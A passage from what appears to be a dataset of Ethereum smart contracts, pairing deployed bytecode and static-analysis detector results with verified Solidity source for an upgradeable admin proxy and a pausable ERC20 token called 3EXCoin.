ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611f1e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611f2957600080fd5b600860009054906101000a900460ff161515611f5f576001600860006101000a81548160ff021916908315150217905550611f7b565b6000600860006101000a81548160ff0219169083151502179055505b565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ff357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156120f857612033600d5484610ee4565b600d8190555061204b612045336117bc565b84610ec8565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a361225d565b833b90506000811415156121155761211084846127b2565b61225c565b612127612121336117bc565b84610ec8565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b3601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ee4565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5b50505050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123555750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561236057600080fd5b600860039054906101000a900460ff1615612395576000600860036101000a81548160ff0219169083151502179055506123b1565b6001600860036101000a81548160ff0219169083151502179055505b565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561241157600080fd5b61242382670de0b6b3a7640000610e77565b9050600860029054906101000a900460ff16156124c457600860039054906101000a900460ff16156124bb57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600c549081150290604051600060405180830381858888f193505050501580156124b9573d6000803e3d6000fd5b505b6000600c819055505b3073ffffffffffffffffffffffffffffffffffffffff163181111515156124ea57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612530573d6000803e3d6000fd5b50505050565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806125e55750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156125f2575060008110155b15156125fd57600080fd5b8060078190555050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061274c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561275757600080fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561280a57600080fd5b61281682303384612995565b151561282157600080fd5b600860009054906101000a900460ff161561284d57612842600f5482610ee4565b600f81905550612860565b612859600d5482610ee4565b600d819055505b61287261286c336117bc565b82610ec8565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c1600e5482610ec8565b600e819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbfe8a577be0467bcfe71ce2e21108360b107663d704696fa9c7b60c715365bb3836040518082815260200191505060405180910390a33073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808590508073ffffffffffffffffffffffffffffffffffffffff16632aeacd4a8686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612a7257600080fd5b505af1158015612a86573d6000803e3d6000fd5b5050505060019150509493505050505600a165627a7a72305820c8d5ed88343ddeadf749c89981f6f9073761c3313fd35cd922c9104cbd102c810029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,781 |
0x3b823864cd0cbad8a1f2b65d4807906775becaa7
|
/**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,782 |
0xac8c6879bd79821c1a2db5ba424d3354eabb7630
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract EXCToken is PausableToken {
string public constant name = "3EXCoin";
string public constant symbol = "EXC";
uint8 public constant decimals = 18;
uint256 constant TOTAL_SUPPLY = 5000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = TOTAL_SUPPLY;
balances[msg.sender] = TOTAL_SUPPLY;
emit Transfer(address(0), msg.sender, TOTAL_SUPPLY);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b5780633f4ba83a146102cc5780635c975abb146102e3578063661884631461031257806370a0823114610377578063715018a6146103ce5780638456cb59146103e55780638da5cb5b146103fc57806395d89b4114610453578063a9059cbb146104e3578063d73dd62314610548578063dd62ed3e146105ad578063f2fde38b14610624575b600080fd5b34801561010257600080fd5b5061010b610667565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a0565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b506102006106d0565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106da565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b061070c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102e1610711565b005b3480156102ef57600080fd5b506102f86107d1565b604051808215151515815260200191505060405180910390f35b34801561031e57600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e4565b604051808215151515815260200191505060405180910390f35b34801561038357600080fd5b506103b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610814565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e361085c565b005b3480156103f157600080fd5b506103fa610961565b005b34801561040857600080fd5b50610411610a22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045f57600080fd5b50610468610a48565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a857808201518184015260208101905061048d565b50505050905090810190601f1680156104d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ef57600080fd5b5061052e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a81565b604051808215151515815260200191505060405180910390f35b34801561055457600080fd5b50610593600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab1565b604051808215151515815260200191505060405180910390f35b3480156105b957600080fd5b5061060e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae1565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610665600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b68565b005b6040805190810160405280600781526020017f334558436f696e0000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106be57600080fd5b6106c88383610bd0565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff161515156106f857600080fd5b610703848484610cc2565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561076d57600080fd5b600360149054906101000a900460ff16151561078857600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561080257600080fd5b61080c838361107c565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109bd57600080fd5b600360149054906101000a900460ff161515156109d957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f455843000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610a9f57600080fd5b610aa9838361130d565b905092915050565b6